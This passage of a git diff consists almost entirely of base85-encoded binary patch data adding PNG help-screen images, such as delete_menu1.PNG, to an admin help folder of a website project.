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 literal 0 HcmV?d00001 diff --git a/admin/help/img/make_general_site/delete_menu1.PNG b/admin/help/img/make_general_site/delete_menu1.PNG new file mode 100644 index 0000000000000000000000000000000000000000..e39f9c1f4dc7063465fc9b58f1b4b8785fe59064 GIT binary patch literal 18836 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 